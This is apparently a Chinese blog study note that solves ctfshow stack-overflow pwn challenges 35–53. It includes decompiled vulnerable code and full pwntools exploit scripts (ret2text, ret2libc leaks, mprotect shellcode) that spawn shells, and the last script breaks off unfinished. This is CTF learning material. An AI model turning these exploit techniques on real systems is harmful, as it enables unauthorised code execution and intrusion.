7217 字
36 分钟
[学习篇 | ctfshow] pwn入门-栈溢出

刷题#

pwn_035#

正式开始栈溢出了,先来一个最最最最简单的吧

image-20260413165933290

ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [esp+0h] [ebp-1Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
puts(asc_8048910);
puts(asc_8048984);
puts(asc_8048A00);
puts(asc_8048A8C);
puts(asc_8048B1C);
puts(asc_8048BA0);
puts(asc_8048C34);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : See what the program does! ");
puts(" * ************************************* ");
puts("Where is flag?\n");
if ( argc <= 1 )
{
puts("Try again!");
}
else
{
ctfshow((char *)argv[1]);
printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
}
return 0;
}
void __noreturn sigsegv_handler()
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
char *__cdecl ctfshow(char *src)
{
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF
return strcpy(dest, src);
}

审计之后可以看到,漏洞存在于ctfshow函数中,其从命令行接收一段字符,然后传给strcpy,将命令行接收到的字符串src复制到dest中,dest长度为104字节.这就是漏洞点,可以打栈溢出漏洞.

输出flag的逻辑再sigsegv_handler函数中,而可以让该函数执行的点在于signal()函数,当其接收到的信号为11的时候,才会执行sigsegv_handler函数,输出flag,也就是当应用程序试图对无权访问的内存地址进行读写操作的时候,就会触发.也就是我们只需要传入比104字节大的字符串,就可以触发该信号,继而拿到flag: image-20260413210801303

pwn_036#

存在后门函数,如何利用?

ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow(&argc);
return 0;
}
char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF
return gets(s);
}
int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

一共三个函数,分析一下,发现ctfshow函数中是gets接收36字节大小的字符串,并且前后并没有限制用户输入,标准的栈溢出.同时给了获取flag的后门函数get_flag.

所以攻击思路是构造栈溢出,修改返回地址为get_flag,执行get_flag获取flag.接下来计算偏移,这里我们通过ida可以直接看出偏移量为0x28 + 0x04可以覆盖到返回地址: image-20260413212501914

编写exp,获取flag

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
get_flag = 0x08048586
offset = 0x28 + 0x04
payload = b'A' * offset + p32(get_flag)
sh.sendlineafter(b'Enter what you want: ', payload)
sh.interactive()
image-20260413212724700

pwn_037#

32位的 system(“/bin/sh”) 后门函数给你

ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Just very easy ret2text&&32bit");
ctfshow();
puts("\nExit");
return 0;
}
ssize_t ctfshow()
{
_BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
int backdoor()
{
system("/bin/sh");
return 0;
}

漏洞点在ctfshow中的read中,buf的空间只有0x14字节,但是却能读取0x32字节的数据,所以就可以溢出.攻击思路很简单,输入0x12+0x04个字节覆盖到返回地址,修改返回地址为backdoor函数即可获取 shell.

编写exp:

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
# get_flag = 0x08048586
back_door = elf.symbols['backdoor']
offset = 0x12 + 0x04
payload = b'A' * offset + p32(back_door)
sh.sendlineafter(b'Just very easy ret2text&&32bit', payload)
sh.interactive()
image-20260413214940765

pwn_038#

64位的 system(“/bin/sh”) 后门函数给你

ida反编译

int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts(s);
puts(asc_400890);
puts(asc_400910);
puts(asc_4009A0);
puts(asc_400A30);
puts(asc_400AB8);
puts(asc_400B50);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh'.There is a backdoor function");
puts(" * ************************************* ");
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\nExit");
return 0;
}
ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32u);
}
__int64 backdoor()
{
system("/bin/sh\n");
return 0;
}

与前面一题逻辑上一样,不同的是,上一题是32位程序,而本题为64位程序,64位程序在构造溢出时要考虑到堆栈平衡的问题.所以先用ROPgadget找到一个ret:

image-20260414185212407

编写exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF("./pwn")
# get_flag = 0x08048586
back_door = elf.symbols["backdoor"]
ret_addr = 0x400287
offset = 0x0A + 0x08
payload = b"A" * offset + p64(ret_addr) + p64(back_door)
sh.sendlineafter(b"Just easy ret2text&&64bit", payload)
sh.interactive()
image-20260414185432020

pwn_039#

32位的 system(); “/bin/sh”

前面两道题考察的时有backdoor()函数,也就是有system('/bin/sh')的情况,本题考察的是32位下有system()/bin/sh字符串的情况下,如何组成system("/bin/sh")获取shell.

ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stdin, nullptr, 2, 0);
puts(asc_804876C);
puts(asc_80487E0);
puts(asc_804885C);
puts(asc_80488E8);
puts(asc_8048978);
puts(asc_80489FC);
puts(asc_8048A90);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&32bit");
ctfshow(&argc);
puts("\nExit");
return 0;
}
ssize_t __cdecl ctfshow()
{
_BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}

read的栈溢出,没什么说的,如何设置system()函数的参数为/bin/sh呢:

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
ret_addr = 0x08048356
bin_sh = 0x08048750
system_plt = elf.plt["system"]
offset = 0x12 + 0x04
payload = b'A' * offset + p32(system_plt) + p32(ret_addr)+ p32(bin_sh)
sh.sendlineafter(b'Just easy ret2text&&32bit', payload)
sh.interactive()
image-20260414191155026

pwn_040#

64位的 system(); “/bin/sh”

与上题一样,有systembinsh,构造system("/bin/sh"),不过本题时64位的,构造的时候需要使用到rdi寄存器,先把/bin/sh传入rdi寄存器中,然后再设置ret地址来执行system().

exp:

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
pop_rdi = 0x04007e3
bin_sh = 0x400808
system_plt = elf.plt["system"]
ret_addr = 0x04004fe
offset = 0x0A + 0x08
payload = b'A' * offset + p64(pop_rdi) + p64(bin_sh) + p64(ret_addr) + p64(system_plt)
# gdb.attach(sh)
sh.sendlineafter(b'Just easy ret2text&&64bit', payload)
sh.interactive()

pwn_041#

32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stdin, nullptr, 2, 0);
logo(&argc);
ctfshow();
puts("\nExit");
return 0;
}
ssize_t ctfshow()
{
_BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
int hint()
{
system("echo flag");
return 0;
}
int useful()
{
return printf("sh");
}

system(),没有/bin/sh,但是有sh,可以选择利用sh来获取shell,但是需要再最后发送\x00.

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
ret_addr = 0x08048376
sh_addr = 0x080487ba
system_plt = elf.plt["system"]
offset = 0x12 + 0x04
payload = b'A' * offset + p32(system_plt) + p32(ret_addr)+ p32(sh_addr)
# gdb.attach(sh)
sh.sendline(payload)
sh.send('\x00')
sh.interactive()

pwn_042#

64位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

ida反编译:

int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stdin, nullptr, 2, 0);
logo();
ctfshow();
puts("\nExit");
return 0;
}
ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32u);
}
__int64 hint()
{
system("echo flag");
return 0;
}
int useful()
{
return printf("sh");
}

64位的有system()/bin/sh,但是有sh

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
ret_addr = 0x000000000040053e
sh_addr = 0x0000000000400872
pop_rdi_ret = 0x0000000000400843
system_plt = elf.plt["system"]
offset = 0x0A + 0x08
payload = b'A' * offset + p64(pop_rdi_ret) + p64(sh_addr) + p64(ret_addr)+ p64(system_plt)
# gdb.attach(sh)
sh.sendline(payload)
sh.send('\x00')
sh.interactive()

pwn_043#

32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法

ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
return 0;
}
char *ctfshow()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
return gets(s);
}
int hint()
{
time_t seed; // eax
int result; // eax
int v2; // [esp+8h] [ebp-10h] BYREF
int v3; // [esp+Ch] [ebp-Ch]
seed = time(nullptr);
srand(seed);
v3 = rand();
__isoc99_scanf("%d", &v2);
result = v2;
if ( v3 == v2 )
return system("where is shell?");
return result;
}

system()/bin/sh,也没有sh,这里我们利用gets()/bin/sh字符串读取到bss可读可写段中,然后再将这一段地址给system(),即可构造出system("/bin/sh").

image-20260414211630369

可以看到,这段地址是公开的,所以往这里写/bin/sh即可

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
ret_addr = 0x080483f2
buf = 0x0804B060
system_plt = elf.plt["system"]
gets_plt = elf.plt["gets"]
offset = 0x6C + 0x04
payload = b'A' * offset + p32(gets_plt) + p32(system_plt)+ p32(buf) + p32(buf)
# gdb.attach(sh)
sh.sendline(payload)
sh.send('/bin/sh\x00')
sh.interactive()

pwn_044#

64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法

ida反编译

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("get system parameter!");
ctfshow();
return 0;
}
__int64 ctfshow()
{
_BYTE v1[10]; // [rsp+6h] [rbp-Ah] BYREF
return gets(v1);
}
int hint()
{
return system("no shell for you");
}

与上题解题思路一样,只是64位程序: image-20260414212513690

exp:

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
buf = 0x0602080
pop_rdi_ret = 0x04007f3
system_plt = elf.plt["system"]
gets_plt = elf.plt["gets"]
offset = 0x0A + 0x08
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(buf)
payload += p64(gets_plt)
payload += p64(pop_rdi_ret)
payload += p64(buf)
payload += p64(system_plt)
# gdb.attach(sh)
sh.sendline(payload)
sh.send('/bin/sh\x00')
sh.interactive()

pwn_045#

32位 无 system 无 “/bin/sh”

system()/bin/sh的解题思路就是通过泄露libc基址来获取动态链接库libc中的system()/bin/sh的地址.libc的基址是通过泄露got表的地址计算得出的,

ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("O.o?");
ctfshow();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
ssize_t ctfshow()
{
_BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
return read(0, buf, 0xC8u);
}

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
libc = ELF("/lib32/libc.so.6")
main_addr = elf.sym["main"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
star_addr = elf.symbols['_start']
write_plt = elf.plt["write"]
ret_addr = 0x08048356
# puts(puts_got)
offset = 0x6B + 0x04
payload = b'A' * offset
payload += p32(puts_plt)
payload += p32(star_addr)
payload += p32(puts_got)
# write(1, puts_got, 4)
p2 = b'A' * offset
p2 += p32(write_plt)
p2 += p32(star_addr)
p2 += p32(1)
p2 += p32(puts_got)
p2 += p32(4)
# gdb.attach(sh)
sh.sendline(payload)
puts_real_addr = u32(sh.recvuntil(b'\xf7')[-4:])
print(hex(puts_real_addr))
libc_base = puts_real_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p = b"A" * offset
p += p32(system_addr)
p += p32(ret_addr)
p += p32(bin_sh)
sh.sendline(p)
sh.interactive()

pwn_046#

64位 无 system 无 “/bin/sh”

ida反编译:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("O.o?");
ctfshow();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
ssize_t ctfshow()
{
_BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF
return read(0, buf, 0xC8u);
}

溢出后利用puts或者write泄露got地址,算出基地址后构造system("/bin/sh")

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
main_addr = elf.sym["main"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
star_addr = elf.symbols['_start']
write_plt = elf.plt["write"]
pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret_addr = rop.find_gadget(['ret'])[0]
log.success(f"pop_rdi_ret: {hex(pop_rdi_ret)}")
log.success(f"pop_rsi_r15: {hex(pop_rsi_r15)}")
log.success(f"ret_addr: {hex(ret_addr)}")
log.info("================================== stage 1 : leaking Libc =====================================================")
# puts(puts_got)
offset = 0x70 + 0x08
p1 = b'A' * offset
p1 += p64(pop_rdi_ret)
p1 += p64(puts_got)
p1 += p64(puts_plt)
p1 += p64(main_addr)
# write(1, puts_got, 4)
p2 = b'A' * offset
p2 += p64(pop_rdi_ret)
p2 += p64(1)
p2 += p64(pop_rsi_r15)
p2 += p64(puts_got)
p2 += p64(0)
p2 += p64(write_plt)
p2 += p64(main_addr)
# gdb.attach(sh)
sh.sendline(p1)
puts_real_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success(f"puts_real_addr: {hex(puts_real_addr)}")
log.info("================================= stage 2 : Getting shell ========================================================")
libc_base = puts_real_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p = b"A" * offset
p += p64(pop_rdi_ret)
p += p64(bin_sh)
p += p64(ret_addr)
p += p64(system_addr)
sh.sendline(p)
sh.interactive()

pwn_047#

ez ret2libc

ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, nullptr, 2, 0);
logo(&argc);
puts("Give you some useful addr:\n");
printf("puts: %p\n", &puts);
printf("fflush %p\n", &fflush);
printf("read: %p\n", &read);
printf("write: %p\n", &write);
printf("gift: %p\n", useful); // "/bin/sh"
putchar(10);
ctfshow();
return 0;
}
int ctfshow()
{
char s[152]; // [esp+Ch] [ebp-9Ch] BYREF
puts("Start your show time: ");
gets(s);
return puts(s);
}

%p打印的出来的是函数在内存中的地址,程序给我们了这些函数的libc中的地址以及/bin/sh的地址,所以我们只需要利用给出的地址算出libc基址,计算出system()函数的地址即可.

image-20260415194215078image-20260415194519027

exp

#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
libc = ELF("/lib32/libc.so.6")
rop = ROP(elf)
main_addr = elf.sym['main']
ret_addr = rop.find_gadget(['ret'])[0]
log.info("===============================Give you some useful addr: =========================================")
sh.recvuntil(b"puts: ")
puts_addr = int(sh.recvline().strip(), 16)
sh.recvuntil(b'fflush ')
fflush_addr = int(sh.recvline().strip(), 16)
sh.recvuntil(b'read: ')
read_addr = int(sh.recvline().strip(), 16)
sh.recvuntil(b"write: ")
write_addr = int(sh.recvline().strip(), 16)
sh.recvuntil(b"gift: ")
gitf_addr = int(sh.recvline().strip(), 16)
log.success(f"ret: {hex(ret_addr)}, puts_addr: {hex(puts_addr)}, write_addr: {hex(write_addr)}, fflush_addr: {hex(fflush_addr)}, read_addr: {hex(read_addr)}, gitf_addr: {hex(gitf_addr)}")
log.info("==============================================libc======================================================")
libc = LibcSearcher('puts', puts_addr)
libc.add_condition('read', read_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = gitf_addr
offset = 0x9C + 0x04
p1 = b"A" * offset
p1 += p32(system_addr)
p1 += p32(ret_addr)
p1 += p32(bin_sh)
sh.sendline(p1)
sh.interactive()

pwn_048#

没有write了,试试用puts吧,更简单了呢

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("O.o?");
ctfshow();
return 0;
}
ssize_t ctfshow()
{
_BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
return read(0, buf, 0xC8u);
}

首先利用puts@pltputs@got泄露puts的真实地址,然后计算libc的基址即可.

LibcSearcher没有找到对应的libc

image-20260415211705724

使用手动计算的办法:

#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
libc = ELF("/lib32/libc.so.6")
rop = ROP(elf)
main_addr = elf.sym['main']
ret_addr = rop.find_gadget(['ret'])[0]
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
offset = 0x6B + 0x04
p1 = b"A" * offset
p1 += p32(puts_plt)
p1 += p32(main_addr)
p1 += p32(puts_got)
sh.sendline(p1)
puts_real_addr = u32(sh.recvuntil(b"\xf7")[-4:])
p3 = b"A" * offset
p3 += p32(puts_plt)
p3 += p32(main_addr)
p3 += p32(read_got)
sh.sendline(p3)
read_real_addr = u32(sh.recvuntil(b"\xf7")[-4:])
log.success(f"puts_real_addr: {hex(puts_real_addr)}, read_real_addr: {hex(read_real_addr)}")
# use LibcSearcher
# libc = LibcSearcher('puts', puts_real_addr)
# libc.add_condition('read', read_real_addr)
# libc_base = puts_real_addr - libc.dump('puts')
# system = libc_base + libc.dump('system')
# bin_sh = libc.dump('str_bin_sh')
# use
libc_base = puts_real_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p2 = b"A" * offset
p2 += p32(system)
p2 += p32(ret_addr)
p2 += p32(bin_sh)
sh.sendline(p2)
sh.interactive()

pwn_049#

静态编译?或许你可以找找mprotect函数

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
init_0();
logo();
ctfshow();
return 0;
}
int ctfshow()
{
_BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF
return _libc_read(0, v1, 100);
}

提示我们是静态编译文件,利用mprotect函数和栈溢出修改内存页的读写属性,更改为可读可写可执行,然后在里面写入shellcode进行执行,拿到shell.

mprotect()的格式是:

int mprotect(void * addr, size_t len, int prot)

exp

#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
libc = ELF("/lib32/libc.so.6")
rop = ROP(elf)
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
addr = 0x080da000
ret_addr = rop.find_gadget(['pop eax', 'pop edx', 'pop ebx', 'ret'])[0]
log.success(f"mprotect_addr: {hex(mprotect_addr)}, read_addr: {hex(read_addr)}, ret_addr: {hex(ret_addr)}")
offset = 0x12 + 0x04
shellcode = asm(shellcraft.sh(), arch = "i386", os = "linux")
p1 = b"A" * offset
p1 += p32(mprotect_addr)
# p1 += p32(0x8056194)
p1 += p32(ret_addr)
p1 += p32(addr)
p1 += p32(0x1000)
p1 += p32(7)
p1 += p32(read_addr)
p1 += p32(addr)
p1 += p32(0x0)
p1 += p32(addr)
p1 += p32(len(shellcode))
sh.sendline(p1)
sh.sendline(shellcode)
sh.interactive()

pwn_050#

好像哪里不一样了

远程libc环境 Ubuntu 18

ida

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
ctfshow();
exit(0);
}
__int64 ctfshow()
{
_BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Hello CTFshow");
return gets(v1);
}

exp

#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
# libc = ELF("/lib32/libc.so.6")
rop = ROP(elf)
main_addr = elf.sym['main']
ret_addr = rop.find_gadget(['ret'])[0]
pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
offset = 0x20 + 0x08
log.success(f"ret_addr: {hex(ret_addr)}, pop_rdi_ret: {hex(pop_rdi_ret)}")
log.info("=============================steg1: leaking libc=========================")
p = b"A" * offset
p += p64(pop_rdi_ret)
p += p64(puts_got)
p += p64(puts_plt)
p += p64(main_addr)
sh.sendline(p)
log.info("=============================steg2: geting shell===========================")
puts_addr = u64(sh.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
log.success(f"puts_addr: {hex(puts_addr)}")
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
# bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
bin_sh = libc_base + libc.dump('str_bin_sh')
log.success(f"libc_base: {hex(libc_base)}, system: {hex(system)}, bin_sh: {hex(bin_sh)}")
p1 = b"A" * offset
p1 += p64(pop_rdi_ret)
p1 += p64(bin_sh)
p1 += p64(ret_addr)
p1 += p64(system)
sh.sendline(p1)
sh.interactive()

pwn_051#

I‘m IronMan

ida:

int sub_8049059()
{
int v0; // eax
int v1; // eax
unsigned int i_1; // eax
int v3; // eax
const char *src; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
_BYTE v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
_BYTE v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
_BYTE v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]
memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::string::operator=(&unk_804D0A0, &unk_804A350);
std::string::operator+=(&unk_804D0A0, s);
std::string::basic_string(v10, &unk_804D0B8);
std::string::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&unk_804D0A0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
i_1 = sub_80496D6(v8);
if ( i_1 <= i )
break;
std::string::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::string::operator+=(&unk_804D0A0, v3);
}
}
src = (const char *)std::string::c_str(&unk_804D0A0);
strcpy(s, src);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}
int sub_804902E()
{
return system("cat /ctfshow_flag");
}

输入一个I会输出IronMan,注意到再输出s之前会先进行strcpy(s, src);,这里就是我们栈溢出的点.

image-20260416221340364

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
main_addr = 0x08049059
puts_plt = elf.plt['puts']
puts_got = elf.plt['puts']
ret_addr = rop.find_gadget(['ret'])[0]
back_door = 0x0804902E
offset = (0x6C + 0x04) // 0x07
p = b'I' * offset
p += p32(back_door)
sh.sendline(p)
sh.interactive()

pwn_052#

迎面走来的flag让我如此蠢蠢欲动

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, nullptr, 2, 0);
logo(&argc);
puts("What do you want?");
ctfshow();
return 0;
}
int ctfshow()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
gets(s);
return puts(s);
}
char *__cdecl flag(int n876, int n877)
{
char *result; // eax
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
result = fgets(s, 64, stream);
if ( n876 == 876 && n877 == 877 )
return (char *)printf(s);
return result;
}

通过溢出执行flag函数,并且传入满足n876 == 876 && n877 == 877的两个参数即可

#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
# libc = ELF("/lib32/libc.so.6")
rop = ROP(elf)
flag_addr = elf.sym['flag']
ret_addr = rop.find_gadget(['ret'])[0]
offset = 0x6C + 0x04
p = b"A" * offset
p += p32(flag_addr)
p += p32(ret_addr)
p += p32(876)
p += p32(877)
sh.sendline(p)
sh.interactive()

pwn_053#

再多一眼看一眼就会爆炸

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, nullptr, 2, 0);
logo(&argc);
canary();
ctfshow();
return 0;
}
int canary()
{
FILE *stream; // [esp+Ch] [ebp-Ch]
stream = fopen("/canary.txt", "r");
if ( !stream )
{
puts("/canary.txt: No such file or directory.");
exit(0);
}
fread(&global_canary, 1u, 4u, stream);
return fclose(stream);
}
int ctfshow()
{
size_t nbytes; // [esp+4h] [ebp-54h] BYREF
_DWORD v2[8]; // [esp+8h] [ebp-50h] BYREF
_BYTE buf[32]; // [esp+28h] [ebp-30h] BYREF
int s1; // [esp+48h] [ebp-10h] BYREF
int n31; // [esp+4Ch] [ebp-Ch]
n31 = 0;
s1 = global_canary;
printf("How many bytes do you want to write to the buffer?\n>");
while ( n31 <= 31 )
{
read(0, (char *)v2 + n31, 1u);
if ( *((_BYTE *)v2 + n31) == 10 )
break;
++n31;
}
__isoc99_sscanf(v2, "%d", &nbytes);
printf("$ ");
read(0, buf, nbytes);
if ( memcmp(&s1, &global_canary, 4u) )
{
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
exit(-1);
}
puts("Where is the flag?");
return fflush(stdout);
}
int flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
puts(s);
return fflush(stdout);
}

首先栈溢出泄露出canary来绕过memcmp(&s1, &global_canary, 4u)检查,然后再执行flag函数.

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
# sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
